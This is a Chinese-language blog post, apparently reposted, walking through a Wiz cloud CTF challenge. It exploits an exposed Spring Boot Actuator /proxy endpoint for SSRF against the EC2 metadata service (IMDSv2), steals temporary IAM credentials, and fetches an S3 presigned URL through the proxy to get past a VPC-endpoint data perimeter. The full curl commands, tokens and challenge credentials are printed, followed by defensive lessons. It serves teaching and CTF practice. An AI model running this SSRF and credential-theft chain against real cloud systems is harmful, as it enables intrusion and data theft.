打破“边界泄露”:一次SpringBoot错误配置如何击穿AWS数据边界

admin 2026-01-31 02:09:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析了Wiz云安全锦标赛中利用SpringBootActuator误配置引发的SSRF攻击链。攻击者通过proxy接口探测IMDSv2窃取IAM凭证,结合S3预签名URL与内部代理请求,成功绕过AWS数据边界及VPCEndpoint限制。文章强调应用层漏洞可击穿云平台防护,建议禁用Actuator并最小化IAM权限。 综合评分: 85 文章分类: 渗透测试,云安全,CTF,WEB安全,漏洞分析


cover_image

打破“边界泄露”:一次 Spring Boot 错误配置如何击穿 AWS 数据边界

haidragon haidragon

安全狗的自我修养

2026年1月30日 14:48 湖南

官网:http://securitytech.cc

Wiz 的首个云安全锦标赛挑战题 “Perimeter Leak(边界泄露)”,很好地展示了:一个小小的配置错误,如何摧毁精心设计的 AWS 数据边界防护体系。

在这篇文章中,我会讲解我是如何利用:

  • Spring Boot Actuator
  • SSRF 打 IMDSv2
  • S3 预签名 URL

一步步完成突破的。


🧩 挑战环境说明

场景一开始,你就已经拥有了一台 EC2 的 shell 权限,它代表“最终被攻陷的服务器”。

目标是: 👉 获取一个存放在 S3 Bucket 中的 secret flag。

这个 Bucket 被 AWS 数据边界保护着,启用了:

  • VPC Endpoint 限制
  • IAM 身份限制

终端里给了你一个 Spring Boot 应用入口:

curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com

这说明: 🎯 真正的弱点在应用层,而不是暴力 IAM 或 S3 配置。


🔍 Step 1 — 发现 Actuator 和 /proxy

提示指出 Spring Boot Actuator 可能被错误暴露,尤其是:

/actuator/mappings

测试管理接口:

curl -u ctf:88sPVWyC2P3p \
  https://challenge01.cloud-champions.com/actuator/health
curl -u ctf:88sPVWyC2P3p \
  https://challenge01.cloud-champions.com/actuator/mappings

返回结果里暴露了所有 Controller,包括一个关键接口:

/proxy

这个接口接收 url 参数,代表服务器代你发起 HTTP 请求。

👉 这就是一个标准 SSRF 注入点

代码限制只允许:

  • IP 地址
  • 包含 amazonaws.com 的域名

看似安全,但实际上可以被利用。


🚀 Step 2 — 利用 /proxy SSRF 打 IMDSv2

目标改为 EC2 元数据服务(IMDSv2)。

先申请 token:

curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://redacted/latest/api/token" \
  -X PUT \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

返回:

AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A==

然后枚举 IAM Role:

curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://redacted/latest/meta-data/iam/security-credentials/" \
  -H "X-aws-ec2-metadata-token: AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A=="

返回:

challenge01-5592368

说明: ✅ SSRF 成功打进 IMDS。


🗝 Step 3 — 窃取临时 IAM 凭证

继续请求完整凭证:

curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" \
  -H "X-aws-ec2-metadata-token: AQAEAIHEnDjDZf4MTTXQq56nhUF-G9tdOcplo1Fr8UPsfp_IRw0F5A=="

返回 JSON:

  • AccessKeyId
  • SecretAccessKey
  • Token
  • Expiration

导入环境:

export&nbsp;AWS_ACCESS_KEY_ID=<AccessKeyId>
export&nbsp;AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export&nbsp;AWS_SESSION_TOKEN=<Token>
export&nbsp;AWS_REGION=us-east-1

此时你已经拥有实例角色权限。


🛡 Step 4 — 理解 S3 数据边界

S3 Bucket 被设置了 Data Perimeter:

  • 只允许特定 VPC Endpoint
  • 校验 aws:SourceVpce

即使你拿到凭证,从外部也无法直接访问。



🔗 Step 5 — 生成 S3 预签名 URL

生成预签名:

aws s3 presign s3://challenge01-470f711/private/flag.txt \
&nbsp; --region us-east-1 \
&nbsp; --expires-in 60

它返回一个带签名参数的 HTTPS URL。

但是: ❌ 在你本地访问会失败,因为不满足 VPC Endpoint 条件。


🧨 Step 6 — 用 /proxy 拉取预签名 URL

先生成:

PRESIGNED_URL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt --region us-east-1 --expires-in 60)

通过 proxy 发送:

curl -s -u ctf:88sPVWyC2P3p \
&nbsp; --get --data-urlencode&nbsp;"url=$PRESIGNED_URL" \
"https://challenge01.cloud-champions.com/proxy"

因为请求是从 EC2 内部发起,会自动走 S3 VPC Endpoint。

👉 成功绕过数据边界,直接返回 flag.txt 内容。


📚 Lessons Learned(经验总结)

这个挑战展示了:应用层漏洞可以击穿云平台级安全设计。

关键点:

  • 数据边界再强,也怕 SSRF。
  • Spring Boot Actuator 暴露是高危配置。
  • IMDSv2 只能降低风险,不能防 SSRF。
  • 预签名 URL 是最终数据外泄利器。

对防守方:

  • 禁用 Actuator 暴露
  • 禁止 proxy 类接口
  • 最小化 IAM 权限
  • 控制 IMDS

对攻击方:

  • SSRF + IMDS + presign = 云上打穿套路。

#

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《打破“边界泄露”:一次 Spring Boot 错误配置如何击穿 AWS 数据边界》

评论:0   参与:  0